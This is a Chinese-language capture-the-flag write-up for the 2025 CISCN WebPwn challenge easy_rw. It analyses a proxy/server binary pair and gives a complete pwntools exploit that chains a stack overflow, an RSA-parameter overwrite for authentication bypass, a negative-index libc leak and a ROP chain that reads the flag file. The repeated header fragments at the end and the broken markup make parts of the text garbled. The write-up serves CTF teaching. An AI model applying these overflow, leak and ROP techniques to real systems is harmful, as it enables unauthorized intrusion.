WebPwn架构与漏洞利用教学：以2025CISCN的easy_rw为例<\/h1>

1. 题目概述与架构分析<\/h2>

1.1 题目背景<\/h3>
easy_rw是2025年CISCN比赛中的一个WebPwn题目，采用了代理-服务器双层架构，考察选手对复杂系统漏洞的挖掘和利用能力。<\/p>

1.2 系统架构<\/h3>

核心组件：<\/strong><\/p>

Proxy（代理端）<\/strong>：安全网关，处理认证、授权和协议转换<\/li>
Server（业务服务器）<\/strong>：处理核心业务逻辑<\/li> <\/ul>
通信流程：<\/strong>
客户端 → Proxy（认证） → Server（业务处理） → Proxy → 客户端<\/p>
数据共享机制：<\/strong><\/p>

通过配置文件共享认证信息<\/li>
统一的cookie和配置管理系统<\/li> <\/ul>
2. 二进制文件分析<\/h2>
2.1 Proxy文件分析<\/h3>
2.1.1 初始处理<\/h4>

文件使用UPX加壳，需要先脱壳分析<\/li>
脱壳后需要进行函数名还原，便于分析<\/li> <\/ul>
2.1.2 主要功能模块<\/h4>
\/\/ 认证检查函数 <\/span><\/span><\/span><\/span>case<\/span> 0xFFFF2525<\/span>:<\/span> <\/span><\/span> if<\/span> (refresh_config()) { <\/span><\/span> \/\/ 配置刷新失败处理 <\/span><\/span><\/span><\/span> } <\/span><\/span> if<\/span> (size ><\/span> 7<\/span> &&<\/span> n &&<\/span> d) { <\/span><\/span> \/\/ RSA认证逻辑 <\/span><\/span><\/span><\/span> netlong_2 =<\/span> *<\/span>(_QWORD *<\/span>)ptr; <\/span><\/span> v27 =<\/span> ntohl_long(netlong_2); <\/span><\/span> *<\/span>(_QWORD *<\/span>)s1 =<\/span> RSA(v27, d, n); <\/span><\/span> \/\/ 哈希比较验证 <\/span><\/span><\/span><\/span> } <\/span><\/span><\/code><\/pre>2.1.3 关键漏洞<\/h4> 栈溢出漏洞：<\/strong><\/p> case<\/span> 0x85856547<\/span>:<\/span> <\/span><\/span> n =<\/span> size; <\/span><\/span> if<\/span> (size ><\/span> 0x1100uLL<\/span>) n =<\/span> 0x1100<\/span>; <\/span><\/span> memcpy(&<\/span>dest_, ptr, n); \/\/ 可溢出修改全局变量d和n <\/span><\/span><\/span><\/span> write_socket(fd, "OK"<\/span>, 2u<\/span>); <\/span><\/span> refresh_config(); <\/span><\/span> write_config("config.txt"<\/span>); <\/span><\/span> break<\/span>; <\/span><\/span><\/code><\/pre>2.2 Server文件分析<\/h3> 2.2.1 URL解析机制<\/h4> __int64<\/span> url_parse<\/span>(const<\/span> char<\/span> *<\/span>p_buf, char<\/span> *<\/span>s, char<\/span> *<\/span>dest) { <\/span><\/span> \/\/ 要求格式：rtsp:\/\/.....\/{.......} <\/span><\/span><\/span><\/span> sa =<\/span> strstr(p_buf, "rtsp:\/\/"<\/span>); <\/span><\/span> sb =<\/span> sa +<\/span> 7<\/span>; <\/span><\/span> s_1 =<\/span> strchr(sb, '\/'<\/span>); <\/span><\/span> \/\/ 提取{...}中的内容 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>2.2.2 认证绕过机制<\/h4> SHA1校验：<\/strong><\/p> _BOOL8 sha_check<\/span>(const<\/span> char<\/span> *<\/span>s1, const<\/span> char<\/span> *<\/span>s2) { <\/span><\/span> for<\/span> (n19 =<\/span> 0<\/span>; n19 <=<\/span> 19<\/span>; ++<\/span>n19) <\/span><\/span> printf("%02x"<\/span>, s1[n19]); <\/span><\/span> return<\/span> strcmp(s1, s2) ==<\/span> 0<\/span>; \/\/ 可通过爆破绕过 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>2.2.3 核心漏洞<\/h4> 栈溢出漏洞：<\/strong><\/p> void<\/span> *<\/span>memcpy_w<\/span>(const<\/span> void<\/span> *<\/span>p_buf, int<\/span> n) { <\/span><\/span> _BYTE dest[32<\/span>]; <\/span><\/span> return<\/span> memcpy(dest, p_buf, n); \/\/ 明显的栈溢出 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>越界读取漏洞：<\/strong><\/p> int<\/span> show<\/span>(const<\/span> char<\/span> *<\/span>index, char<\/span> *<\/span>s, size_t n512) { <\/span><\/span> count =<\/span> atoi(index); <\/span><\/span> if<\/span> (count <<\/span> ::<\/span>count) { <\/span><\/span> \/\/ 可读取负索引，泄露GOT表等关键信息 <\/span><\/span><\/span><\/span> snprintf(s, n512, "%ld:%s<\/span>\n<\/span>"<\/span>, <\/span><\/span> HeapManager.blocks[count].size, <\/span><\/span> HeapManager.blocks[count].dateptr); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>3. 加密算法分析<\/h2> 3.1 Proxy端加密算法<\/h3> 3.1.1 RSA算法实现<\/h4> __int64<\/span> RSA<\/span>(unsigned<\/span> __int64<\/span> a1, unsigned<\/span> __int64<\/span> a2, unsigned<\/span> __int64<\/span> a3) { <\/span><\/span> v9 =<\/span> 1u<\/span>; <\/span><\/span> v10 =<\/span> a1 %<\/span> a3; <\/span><\/span> while<\/span> (a2) { <\/span><\/span> if<\/span> ((a2 &<\/span> 1<\/span>) !=<\/span> 0<\/span>) { <\/span><\/span> v3 =<\/span> div(v9 *<\/span> v10, a3, 0<\/span>); <\/span><\/span> v9 =<\/span> v3; <\/span><\/span> } <\/span><\/span> v4 =<\/span> v10 *<\/span> v10; <\/span><\/span> v5 =<\/span> div(v4, a3, 0<\/span>); <\/span><\/span> v10 =<\/span> v5; <\/span><\/span> a2 >>=<\/span> 1<\/span>; <\/span><\/span> } <\/span><\/span> return<\/span> v9; <\/span><\/span>} <\/span><\/span><\/code><\/pre>3.1.2 哈希算法<\/h4> __int64<\/span> hash<\/span>(__int64<\/span> p_hack, unsigned<\/span> __int64<\/span> n4) { <\/span><\/span> v3 =<\/span> 0x14650FB0739D0383LL<\/span>; <\/span><\/span> for<\/span> (n4_1 =<\/span> 0<\/span>; n4_1 <<\/span> n4; ++<\/span>n4_1) <\/span><\/span> v3 =<\/span> 0x100000001B3LL<\/span> *<\/span> (*<\/span>(p_hack +<\/span> n4_1) ^<\/span> v3); <\/span><\/span> BYTE2(v3) =<\/span> 0<\/span>; <\/span><\/span> return<\/span> v3; <\/span><\/span>} <\/span><\/span><\/code><\/pre>3.1.3 AES加密<\/h4> 用于日志文件加密，对漏洞利用影响较小。<\/p> 3.2 Server端加密算法<\/h3> SHA1算法用于用户名验证<\/li> 可通过爆破方式绕过验证<\/li> <\/ul> 4. 漏洞利用链构建<\/h2> 4.1 利用思路<\/h3> 绕过Proxy认证<\/strong>：利用栈溢出修改RSA参数<\/li> 泄露Server的libc地址<\/strong>：利用越界读取漏洞<\/li> 获取Shell<\/strong>：通过栈溢出执行ROP链<\/li> <\/ol> 4.2 详细利用步骤<\/h3> 4.2.1 绕过Proxy认证<\/h4> # 修改RSA参数的d和n值<\/span> <\/span><\/span>choice =<\/span> p32(0x85856547<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span>size =<\/span> p32(0x10c<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span>pd =<\/span> choice +<\/span> size +<\/span> b<\/span>'a'<\/span>*<\/span>0x100<\/span> +<\/span> b<\/span>'n=138759&d=1'<\/span> <\/span><\/span><\/code><\/pre>4.2.2 认证绕过<\/h4> # 发送特制的认证数据<\/span> <\/span><\/span>choice =<\/span> p32(0xFFFF2525<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span>size =<\/span> p32(0x8<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span>num =<\/span> p64(0x21e6<\/span>, endian=<\/span>'big'<\/span>) # 绕过哈希检查的值<\/span> <\/span><\/span><\/code><\/pre>4.2.3 泄露libc地址<\/h4> # 利用越界读取泄露libc<\/span> <\/span><\/span>pay =<\/span> b<\/span>'rtsp:\/\/<\/span>\x01\x68\x49\x74<\/span>\/{"command":"show","param1":"-10"}'<\/span> <\/span><\/span># 接收泄露的libc地址并计算基址<\/span> <\/span><\/span><\/code><\/pre>4.2.4 构造ROP链<\/h4> # 构造完整的利用链<\/span> <\/span><\/span>pop_rdi =<\/span> lib +<\/span> 0x000000000002a3e5<\/span> <\/span><\/span>pop_rsi =<\/span> lib +<\/span> 0x000000000002be51<\/span> <\/span><\/span>pop_rdx_rbx =<\/span> lib +<\/span> 0x00000000000904a9<\/span> <\/span><\/span>pop_rcx =<\/span> lib +<\/span> 0x000000000003d1ee<\/span> <\/span><\/span> <\/span><\/span># 构造文件读取ROP链<\/span> <\/span><\/span>pay =<\/span> b<\/span>'a'<\/span>*<\/span>0x21<\/span> +<\/span> flat(pop_rdi,4<\/span>,pop_rsi,lib +<\/span> libc.<\/span>sym['tzname'<\/span>], <\/span><\/span> pop_rdx_rbx,0x30<\/span>,0<\/span>,lib +<\/span> libc.<\/span>sym['read'<\/span>]) <\/span><\/span>pay +=<\/span> flat(pop_rdi,lib +<\/span> libc.<\/span>sym['tzname'<\/span>],pop_rsi,0<\/span>,lib +<\/span> libc.<\/span>sym['open'<\/span>]) <\/span><\/span>pay +=<\/span> flat(pop_rdi,4<\/span>,pop_rsi,5<\/span>,pop_rdx_rbx,0<\/span>,0<\/span>,pop_rcx,0x50<\/span>,lib +<\/span> libc.<\/span>sym['sendfile'<\/span>]) <\/span><\/span><\/code><\/pre>5. 完整利用脚本<\/h2> from<\/span> pwn import<\/span> *<\/span> <\/span><\/span> <\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span> <\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span> <\/span><\/span>context.<\/span>os =<\/span> 'linux'<\/span> <\/span><\/span> <\/span><\/span>def<\/span> exploit<\/span>(): <\/span><\/span> # 初始化进程<\/span> <\/span><\/span> p =<\/span> process('.\/server'<\/span>) <\/span><\/span> q =<\/span> process('.\/proxy'<\/span>) <\/span><\/span> <\/span><\/span> # 第一步：修改Proxy的RSA参数<\/span> <\/span><\/span> io =<\/span> remote("0.0.0.0"<\/span>, 8888<\/span>) <\/span><\/span> choice =<\/span> p32(0x85856547<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> size =<\/span> p32(0x10c<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> pd =<\/span> choice +<\/span> size +<\/span> b<\/span>'a'<\/span>*<\/span>0x100<\/span> +<\/span> b<\/span>'n=138759&d=1'<\/span> <\/span><\/span> io.<\/span>send(pd) <\/span><\/span> <\/span><\/span> # 第二步：绕过认证<\/span> <\/span><\/span> io =<\/span> remote("0.0.0.0"<\/span>, 8888<\/span>) <\/span><\/span> choice =<\/span> p32(0xFFFF2525<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> size =<\/span> p32(0x8<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> num =<\/span> p64(0x21e6<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> pd =<\/span> choice +<\/span> size +<\/span> num <\/span><\/span> io.<\/span>send(pd) <\/span><\/span> cookie =<\/span> io.<\/span>recv(32<\/span>) <\/span><\/span> <\/span><\/span> # 第三步：泄露libc地址<\/span> <\/span><\/span> io =<\/span> remote("0.0.0.0"<\/span>, 8888<\/span>) <\/span><\/span> choice =<\/span> p32(0x7F687985<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> size =<\/span> p32(0x80<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> pay =<\/span> b<\/span>'rtsp:\/\/<\/span>\x01\x68\x49\x74<\/span>\/{"command":"show","param1":"-10"}'<\/span> <\/span><\/span> pd =<\/span> choice +<\/span> size +<\/span> cookie +<\/span> pay <\/span><\/span> io.<\/span>send(pd) <\/span><\/span> <\/span><\/span> # 计算libc基址<\/span> <\/span><\/span> lib =<\/span> int(io.<\/span>recv(15<\/span>),10<\/span>) -<\/span> 0x147e90<\/span> <\/span><\/span> <\/span><\/span> # 第四步：最终利用<\/span> <\/span><\/span> io =<\/span> remote("0.0.0.0"<\/span>, 8888<\/span>) <\/span><\/span> choice =<\/span> p32(0x7F687985<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> size =<\/span> p32(0x3ff<\/span>+<\/span>0x20<\/span>+<\/span>0x8<\/span>, endian=<\/span>'big'<\/span>) <\/span><\/span> <\/span><\/span> # 构造ROP链<\/span> <\/span><\/span> pop_rdi =<\/span> lib +<\/span> 0x000000000002a3e5<\/span> <\/span><\/span> pop_rsi =<\/span> lib +<\/span> 0x000000000002be51<\/span> <\/span><\/span> pop_rdx_rbx =<\/span> lib +<\/span> 0x00000000000904a9<\/span> <\/span><\/span> pop_rcx =<\/span> lib +<\/span> 0x000000000003d1ee<\/span> <\/span><\/span> <\/span><\/span> pay =<\/span> b<\/span>'a'<\/span>*<\/span>0x21<\/span> +<\/span> flat(pop_rdi,4<\/span>,pop_rsi,lib +<\/span> libc.<\/span>sym['tzname'<\/span>], <\/span><\/span> pop_rdx_rbx,0x30<\/span>,0<\/span>,lib +<\/span> libc.<\/span>sym['read'<\/span>]) <\/span><\/span> pay +=<\/span> flat(pop_rdi,lib +<\/span> libc.<\/span>sym['tzname'<\/span>],pop_rsi,0<\/span>,lib +<\/span> libc.<\/span>sym['open'<\/span>]) <\/span><\/span> pay +=<\/span> flat(pop_rdi,4<\/span>,pop_rsi,5<\/span>,pop_rdx_rbx,0<\/span>,0<\/span>,pop_rcx,0x50<\/span>,lib +<\/span> libc.<\/span>sym['sendfile'<\/span>]) <\/span><\/span> <\/span><\/span> pay =<\/span> b<\/span>'rtsp:\/\/'<\/span>+<\/span> pay +<\/span> b<\/span>'<\/span>\r\n<\/span>}{'<\/span> <\/span><\/span> pd =<\/span> choice +<\/span> size +<\/span> cookie +<\/span> pay <\/span><\/span> pd =<\/span> pd.<\/span>ljust(0x3ff<\/span>+<\/span>0x20<\/span>+<\/span>0x8<\/span>, b<\/span>'a'<\/span>) <\/span><\/span> pd +=<\/span> b<\/span>'.\/flag<\/span>\x00\x00<\/span>'<\/span> <\/span><\/span> io.<\/span>send(pd) <\/span><\/span> io.<\/span>interactive() <\/span><\/span><\/code><\/pre>6. 关键技术要点<\/h2> 6.1 调试技巧<\/h3> 使用GDB附加子进程：set follow-fork-mode child<\/code><\/li> 关键断点设置：认证检查点、漏洞函数入口点<\/li> 内存布局分析：通过泄露信息计算准确偏移<\/li> <\/ul> 6.2 绕过技巧<\/h3> SHA1校验爆破：利用strcmp的特性进行爆破绕过<\/li> RSA参数篡改：通过溢出修改全局变量实现认证绕过<\/li> 负索引利用：通过越界读取获取关键信息泄露<\/li> <\/ul> 6.3 利用链构造<\/h3> 多阶段利用：Proxy绕过 → 信息泄露 → 最终利用<\/li> ROP链构造：适应题目环境的gadget选择<\/li> 稳定性保证：处理网络通信的异常情况<\/li> <\/ul> 7. 总结与提升<\/h2> 通过easy_rw题目的分析，可以学习到：<\/p> 复杂架构下的漏洞挖掘方法<\/li> 加密算法的逆向分析与绕过技巧<\/li> 多层系统的联合利用技术<\/li> 实战中的调试和利用链构造能力<\/li> <\/ol> 这种类型的题目考察了选手对真实世界复杂系统的理解能力和综合利用技巧，是WebPwn方向的重要训练内容。<\/p>

WebPwn架构与漏洞利用教学：以2025CISCN的easy_rw为例<\/h1>

1. 题目概述与架构分析<\/h2>

1.1 题目背景<\/h3> easy_rw是2025年CISCN比赛中的一个WebPwn题目，采用了代理-服务器双层架构，考察选手对复杂系统漏洞的挖掘和利用能力。<\/p>

2. 二进制文件分析<\/h2>

2.1 Proxy文件分析<\/h3>

2.2 Server文件分析<\/h3>

3. 加密算法分析<\/h2>

3.1 Proxy端加密算法<\/h3>

3.1.3 AES加密<\/h4> 用于日志文件加密，对漏洞利用影响较小。<\/p>

4. 漏洞利用链构建<\/h2>

4.2 详细利用步骤<\/h3>

6. 关键技术要点<\/h2>

1.1 题目背景<\/h3>
easy_rw是2025年CISCN比赛中的一个WebPwn题目，采用了代理-服务器双层架构，考察选手对复杂系统漏洞的挖掘和利用能力。<\/p>

3.1.3 AES加密<\/h4>
用于日志文件加密，对漏洞利用影响较小。<\/p>